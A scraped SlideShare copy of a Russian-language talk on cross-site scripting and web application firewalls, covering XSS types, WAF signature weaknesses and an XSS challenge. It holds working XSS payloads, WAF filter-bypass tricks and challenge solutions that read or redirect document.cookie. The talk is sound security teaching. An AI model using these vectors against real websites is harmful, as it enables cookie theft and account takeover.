SlideShare a Scribd company logo
1 of 19
Download to read offline
XSS vs WAF
Best practice
• Межсайтовое выполнение сценариев
• Может быть использовано злоумышленником
для получения данных (cookie, DOM, etc),
проведения других атак (CSRF, SPAM).
• Классический пример:
<input type=text
value=“”><script>alert(document.cookie)</script>”>
XSS: Cross Site Scripting
* можно спать
• Reflected (non-persistent) – отраженные. Ответ
сервера содержит данные из запроса.
• Stored (persistent) – хранимые. Ответ сервера
содержит данные, внедренные ранее.
• DOM based – динамические. Страница на
клиентской стороне динамически может быть
изменена данными запроса.
XSS: Международная классификация
* можно спать
• Внедрение тэга:
<input type=text value=><script>alert(1337)</script>
• Внедрение атрибута:
<a href=„http://cmc.msu.su‟ onclick=alert(1337) a=„„>
• Внедрение в активное содержимое
(JavaScript,SWF,PDF):
if (text==„a‟ || alert(1337) || „‟) {
• Внедрение в заголовок HTTP ответа, другое:
Location: javascript:alert(1) - miXSS
XSS: Техническая классификация
* можно спать
• Tyler Reguly, nCircle at 06.04.2010
miXSS: meta information XSS
* можно проснуться
• Требующие действий пользователя:
<a href=„a‟ onmouseover=alert(1337) style=„font-
size:500px„>
• Автономные:
<input type=text value=a onfocus=alert(1337)
AUTOFOCUS>
XSS: Классификация по реализации
* можно спать
• Twitter 21.09.2010:
http://twitter.com/nn#@"onmouseover="alert(1337);"/
• Youtube 04.07.2010:
XSS: latest examples
* можно просыпаться
• Cross Application Scripting
• Множество GUI понимает HTML
From XSS to CAS: все новое – это..
* можно проснуться
http://www.backtrack-linux.org/backtrack/cross-application-
scripting-all-you-kde-are-belong-to-us/
• SMS manager:
tel:/+7123213?call
• Safari:
<iframe src=“skype://+27836712?call”>
• Mail manager:
Пример закрыт до устранения уязвимости
iPhone/iPad CAS prototypes
* надо запомнить
• Блокирует подозрительный запрос
• Исправляет подозрительный запрос
• Блокирует источник подозрительного запроса
• Подозрительный по сигнатурам
– подходит под рег. выражение, типа: «onmouse*».
• Подозрительный по правилам
– запрос без предыстории (сразу на страницу смены
пароля без посещения главной)
WAF: Web Application Firewall
* пора просыпаться
• Простые сигнатуры часто ошибаются:
“ „ < > [ { } ] ( )
• Сложные сигнатуры всегда неполные из-за
разнообразия браузеров и проч.
onmouseover -> onmouseenter
• Данные надо нормализовать перед
сигнатурным анализом
e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert
(1337))
WAF: сложности в реализации
* подъем!
• Есть функционал веб-приложения, где WAF
должен быть отключен (HTML редактор)
• Веб-приложение может быть уязвимо для
фрагментированных атак
http://localhost/t.php?a=<scri&a=pt>&a=alert(1)&a=<
/scri&a=pt>
• Надо встраивать интерпретатор JavaScript:
document[(![]+/./)[5]+(![]+/./)[1]+(![]+/./)[1]+String.from
CharCode(75,73)+(![]+/./)[4]]
WAF: сложности в реализации
* подъем!
• Поиск не фильтруемых данных (_FILES,
URI …)
• Поиск ошибок в нормализации
(uni/*union*/on, u000000028)
• Поиск не фильтруемых сигнатур
• Поиск ошибок логики (XSS threw white list)
• Остальные методы
HOWTO find WAF 0day ;)
* подъем!
• Попробуйте проверить WAF на фильтрацию
JavaScript функции setInterval()
• setInterval – аналог setTimeout, введенный для
совместимости со старыми версиями JavaScript
• Эту функцию почему-то забывают добавлять в
сигнатуры, ограничиваясь только setTimeout
• Таких примеров очень-очень много, посмотрите
хотя бы список событий на
http://msdn.microsoft.com/en-
us/library/ms533051(VS.85).aspx
HOWTO find WAF 0day ;)
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• WAF фильтрует
„ , ", < , > , ( , ) , // в $_GET, $_POST, $_COOKIE, $_FILE
• Внедрения в код
• “<input type='text' name='text' value=„ ”.$_GET[„text‟]. “ „>”
• “<input type='text' name='search„
value=“.$_POST[„search‟].”>”
• “<h3 onmouseover=“.$_GET[„aaa‟].”>”
Проведем эксперимент
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• Решения от oRB [rdot.org]
/t.php?aaa=document.location.href=[document.referrer,docu
ment.cookie]
/t.php?aaa=document.location=[/javascript:1/.source,location
.pathname,location.hash]#/;alert(document.cookie);
• Решение от asddas [rdot.org]
/t.php?aaa=document.location.href=document.forms[0].text.v
alue&text=http:google.com
Проведем эксперимент
* подъем!
• Opened XSS challenge at http://onsec.ru/t.php
• Решение от Влада Роскова [vos.uz]
/t.php?aaa=document.all[5][window.name]=location.hash#
<input style=width:100%;height:100%;
onmouseover="alert(document.cookie)">
• Самое элегантное решение от Ruben Ventura [thr3w]
/t.php?aaa=location.href=%26quot;javascript:alertu0028/XS
S/.sourceu0029%26quot;
Проведем эксперимент
* подъем!
• WAF обнаруживает злоумышленника
• WAF закрывает какие-то вектора атаки
• WAF – хороший, сделайте его еще лучше!
WAF: так ли все плохо?
* можно снова спать
КОНТАКТЫ:
D0znpp@ONSEC.RU
ВОПРОСЫ ???

More Related Content

What's hot

Высокая доступность web приложений. SHALB.com
Высокая доступность web приложений. SHALB.comВысокая доступность web приложений. SHALB.com
Высокая доступность web приложений. SHALB.comAlexandr Yatsuk
 
Загрузка, обработка, хранение и отдача статики
Загрузка, обработка, хранение и отдача статикиЗагрузка, обработка, хранение и отдача статики
Загрузка, обработка, хранение и отдача статикиKirill Mokevnin
 
07 virtual hosts_ru
07 virtual hosts_ru07 virtual hosts_ru
07 virtual hosts_rumcroitor
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Ontico
 
Как не положить тысячи серверов с помощью системы централизованного управлени...
Как не положить тысячи серверов с помощью системы централизованного управлени...Как не положить тысячи серверов с помощью системы централизованного управлени...
Как не положить тысячи серверов с помощью системы централизованного управлени...Ontico
 
А.Могильников "Специализированные облака", DUMP-2014
А.Могильников "Специализированные облака", DUMP-2014А.Могильников "Специализированные облака", DUMP-2014
А.Могильников "Специализированные облака", DUMP-2014it-people
 
HSE{Consult}: DevOps – новая методология разработки
HSE{Consult}: DevOps – новая методология разработкиHSE{Consult}: DevOps – новая методология разработки
HSE{Consult}: DevOps – новая методология разработкиBusiness incubator HSE
 
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный вебHappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный вебHappyDev-lite
 
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...Ontico
 
DevOps или исскуство ухода за Интернет-проектом
DevOps или исскуство ухода за Интернет-проектомDevOps или исскуство ухода за Интернет-проектом
DevOps или исскуство ухода за Интернет-проектомAlexander Titov
 
Как сделать сайт быстрее?
Как сделать сайт быстрее?Как сделать сайт быстрее?
Как сделать сайт быстрее?Danil Negrienko
 
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...Ontico
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаrevisium
 
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...Ontico
 
04 web server_deployment_ru
04 web server_deployment_ru04 web server_deployment_ru
04 web server_deployment_rumcroitor
 
Битва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовБитва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовindex.art
 
Безопасность вашего сайта Андрей Фуников
Безопасность вашего сайта  Андрей Фуников Безопасность вашего сайта  Андрей Фуников
Безопасность вашего сайта Андрей Фуников singree
 
08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backendRoman Brovko
 

What's hot (20)

Высокая доступность web приложений. SHALB.com
Высокая доступность web приложений. SHALB.comВысокая доступность web приложений. SHALB.com
Высокая доступность web приложений. SHALB.com
 
Загрузка, обработка, хранение и отдача статики
Загрузка, обработка, хранение и отдача статикиЗагрузка, обработка, хранение и отдача статики
Загрузка, обработка, хранение и отдача статики
 
07 virtual hosts_ru
07 virtual hosts_ru07 virtual hosts_ru
07 virtual hosts_ru
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
 
Как не положить тысячи серверов с помощью системы централизованного управлени...
Как не положить тысячи серверов с помощью системы централизованного управлени...Как не положить тысячи серверов с помощью системы централизованного управлени...
Как не положить тысячи серверов с помощью системы централизованного управлени...
 
А.Могильников "Специализированные облака", DUMP-2014
А.Могильников "Специализированные облака", DUMP-2014А.Могильников "Специализированные облака", DUMP-2014
А.Могильников "Специализированные облака", DUMP-2014
 
Chef
ChefChef
Chef
 
HSE{Consult}: DevOps – новая методология разработки
HSE{Consult}: DevOps – новая методология разработкиHSE{Consult}: DevOps – новая методология разработки
HSE{Consult}: DevOps – новая методология разработки
 
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный вебHappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
HappyDev-lite-2016-весна 02 Дмитрий Пашкевич. Нетривиальный веб
 
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
Инструменты высоконагруженных проектов - кэширование и очереди, Вячеслав Моск...
 
DevOps или исскуство ухода за Интернет-проектом
DevOps или исскуство ухода за Интернет-проектомDevOps или исскуство ухода за Интернет-проектом
DevOps или исскуство ухода за Интернет-проектом
 
Как сделать сайт быстрее?
Как сделать сайт быстрее?Как сделать сайт быстрее?
Как сделать сайт быстрее?
 
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
Tempesta FW: challenges, internals, use cases / Александр Крижановский (Tempe...
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практика
 
Drupalconf12
Drupalconf12Drupalconf12
Drupalconf12
 
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
Веб-разработка без наркотиков с помощью PostgreSQL, Nginx и c2h5oh / Миша Кир...
 
04 web server_deployment_ru
04 web server_deployment_ru04 web server_deployment_ru
04 web server_deployment_ru
 
Битва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовБитва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтов
 
Безопасность вашего сайта Андрей Фуников
Безопасность вашего сайта  Андрей Фуников Безопасность вашего сайта  Андрей Фуников
Безопасность вашего сайта Андрей Фуников
 
08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend
 

Viewers also liked

ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011d0znp
 
[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamicsd0znp
 
Risspa app sec trend micro
Risspa   app sec trend microRisspa   app sec trend micro
Risspa app sec trend microyaevents
 
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБКак построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБInfoWatch
 
Введение в информационный поиск
Введение в информационный поискВведение в информационный поиск
Введение в информационный поискArtem Lukanin
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиSQALab
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingRob Ragan
 
InfoWatch Attack Killer решение проблемы всех направленных атак
InfoWatch Attack Killerрешение проблемы всех направленных атакInfoWatch Attack Killerрешение проблемы всех направленных атак
InfoWatch Attack Killer решение проблемы всех направленных атакInfoWatch
 
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...Risk Analysis Consultants, s.r.o.
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireRob Ragan
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииSQALab
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?beched
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеbeched
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012beched
 

Viewers also liked (20)

ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011
 
[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics
 
Risspa app sec trend micro
Risspa   app sec trend microRisspa   app sec trend micro
Risspa app sec trend micro
 
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБКак построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
 
Введение в информационный поиск
Введение в информационный поискВведение в информационный поиск
Введение в информационный поиск
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without Fighting
 
InfoWatch Attack Killer решение проблемы всех направленных атак
InfoWatch Attack Killerрешение проблемы всех направленных атакInfoWatch Attack Killerрешение проблемы всех направленных атак
InfoWatch Attack Killer решение проблемы всех направленных атак
 
Bypassing Web Application Firewalls
Bypassing Web Application FirewallsBypassing Web Application Firewalls
Bypassing Web Application Firewalls
 
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the Wire
 
Bug-hunter's Sorrow
Bug-hunter's SorrowBug-hunter's Sorrow
Bug-hunter's Sorrow
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
いでよ、電卓!
いでよ、電卓!いでよ、電卓!
いでよ、電卓!
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012
 

Similar to [ONSEC ]XSS vs waf

Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10Technopark
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаAlexei Smolyanov
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10Technopark
 
Webuibasics - Lesson 3 - Nginx, SSI (in russian)
Webuibasics - Lesson 3 - Nginx, SSI (in russian)Webuibasics - Lesson 3 - Nginx, SSI (in russian)
Webuibasics - Lesson 3 - Nginx, SSI (in russian)xasima
 
2013 09 19 кеширование на клиенте и сервере
2013 09 19 кеширование на клиенте и сервере2013 09 19 кеширование на клиенте и сервере
2013 09 19 кеширование на клиенте и сервереYandex
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Система обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на GroovyСистема обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на GroovyRegn
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 

Similar to [ONSEC ]XSS vs waf (20)

Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
176023
176023176023
176023
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Node.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчикаNode.JS: возможности для РНР-разработчика
Node.JS: возможности для РНР-разработчика
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10
 
Webuibasics - Lesson 3 - Nginx, SSI (in russian)
Webuibasics - Lesson 3 - Nginx, SSI (in russian)Webuibasics - Lesson 3 - Nginx, SSI (in russian)
Webuibasics - Lesson 3 - Nginx, SSI (in russian)
 
2013 09 19 кеширование на клиенте и сервере
2013 09 19 кеширование на клиенте и сервере2013 09 19 кеширование на клиенте и сервере
2013 09 19 кеширование на клиенте и сервере
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Система обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на GroovyСистема обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на Groovy
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 

[ONSEC ]XSS vs waf

  • 1. XSS vs WAF Best practice
  • 2. • Межсайтовое выполнение сценариев • Может быть использовано злоумышленником для получения данных (cookie, DOM, etc), проведения других атак (CSRF, SPAM). • Классический пример: <input type=text value=“”><script>alert(document.cookie)</script>”> XSS: Cross Site Scripting * можно спать
  • 3. • Reflected (non-persistent) – отраженные. Ответ сервера содержит данные из запроса. • Stored (persistent) – хранимые. Ответ сервера содержит данные, внедренные ранее. • DOM based – динамические. Страница на клиентской стороне динамически может быть изменена данными запроса. XSS: Международная классификация * можно спать
  • 4. • Внедрение тэга: <input type=text value=><script>alert(1337)</script> • Внедрение атрибута: <a href=„http://cmc.msu.su‟ onclick=alert(1337) a=„„> • Внедрение в активное содержимое (JavaScript,SWF,PDF): if (text==„a‟ || alert(1337) || „‟) { • Внедрение в заголовок HTTP ответа, другое: Location: javascript:alert(1) - miXSS XSS: Техническая классификация * можно спать
  • 5. • Tyler Reguly, nCircle at 06.04.2010 miXSS: meta information XSS * можно проснуться
  • 6. • Требующие действий пользователя: <a href=„a‟ onmouseover=alert(1337) style=„font- size:500px„> • Автономные: <input type=text value=a onfocus=alert(1337) AUTOFOCUS> XSS: Классификация по реализации * можно спать
  • 7. • Twitter 21.09.2010: http://twitter.com/nn#@"onmouseover="alert(1337);"/ • Youtube 04.07.2010: XSS: latest examples * можно просыпаться
  • 8. • Cross Application Scripting • Множество GUI понимает HTML From XSS to CAS: все новое – это.. * можно проснуться http://www.backtrack-linux.org/backtrack/cross-application- scripting-all-you-kde-are-belong-to-us/
  • 9. • SMS manager: tel:/+7123213?call • Safari: <iframe src=“skype://+27836712?call”> • Mail manager: Пример закрыт до устранения уязвимости iPhone/iPad CAS prototypes * надо запомнить
  • 10. • Блокирует подозрительный запрос • Исправляет подозрительный запрос • Блокирует источник подозрительного запроса • Подозрительный по сигнатурам – подходит под рег. выражение, типа: «onmouse*». • Подозрительный по правилам – запрос без предыстории (сразу на страницу смены пароля без посещения главной) WAF: Web Application Firewall * пора просыпаться
  • 11. • Простые сигнатуры часто ошибаются: “ „ < > [ { } ] ( ) • Сложные сигнатуры всегда неполные из-за разнообразия браузеров и проч. onmouseover -> onmouseenter • Данные надо нормализовать перед сигнатурным анализом e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert (1337)) WAF: сложности в реализации * подъем!
  • 12. • Есть функционал веб-приложения, где WAF должен быть отключен (HTML редактор) • Веб-приложение может быть уязвимо для фрагментированных атак http://localhost/t.php?a=<scri&a=pt>&a=alert(1)&a=< /scri&a=pt> • Надо встраивать интерпретатор JavaScript: document[(![]+/./)[5]+(![]+/./)[1]+(![]+/./)[1]+String.from CharCode(75,73)+(![]+/./)[4]] WAF: сложности в реализации * подъем!
  • 13. • Поиск не фильтруемых данных (_FILES, URI …) • Поиск ошибок в нормализации (uni/*union*/on, u000000028) • Поиск не фильтруемых сигнатур • Поиск ошибок логики (XSS threw white list) • Остальные методы HOWTO find WAF 0day ;) * подъем!
  • 14. • Попробуйте проверить WAF на фильтрацию JavaScript функции setInterval() • setInterval – аналог setTimeout, введенный для совместимости со старыми версиями JavaScript • Эту функцию почему-то забывают добавлять в сигнатуры, ограничиваясь только setTimeout • Таких примеров очень-очень много, посмотрите хотя бы список событий на http://msdn.microsoft.com/en- us/library/ms533051(VS.85).aspx HOWTO find WAF 0day ;) * подъем!
  • 15. • Opened XSS challenge at http://onsec.ru/t.php • WAF фильтрует „ , ", < , > , ( , ) , // в $_GET, $_POST, $_COOKIE, $_FILE • Внедрения в код • “<input type='text' name='text' value=„ ”.$_GET[„text‟]. “ „>” • “<input type='text' name='search„ value=“.$_POST[„search‟].”>” • “<h3 onmouseover=“.$_GET[„aaa‟].”>” Проведем эксперимент * подъем!
  • 16. • Opened XSS challenge at http://onsec.ru/t.php • Решения от oRB [rdot.org] /t.php?aaa=document.location.href=[document.referrer,docu ment.cookie] /t.php?aaa=document.location=[/javascript:1/.source,location .pathname,location.hash]#/;alert(document.cookie); • Решение от asddas [rdot.org] /t.php?aaa=document.location.href=document.forms[0].text.v alue&text=http:google.com Проведем эксперимент * подъем!
  • 17. • Opened XSS challenge at http://onsec.ru/t.php • Решение от Влада Роскова [vos.uz] /t.php?aaa=document.all[5][window.name]=location.hash# <input style=width:100%;height:100%; onmouseover="alert(document.cookie)"> • Самое элегантное решение от Ruben Ventura [thr3w] /t.php?aaa=location.href=%26quot;javascript:alertu0028/XS S/.sourceu0029%26quot; Проведем эксперимент * подъем!
  • 18. • WAF обнаруживает злоумышленника • WAF закрывает какие-то вектора атаки • WAF – хороший, сделайте его еще лучше! WAF: так ли все плохо? * можно снова спать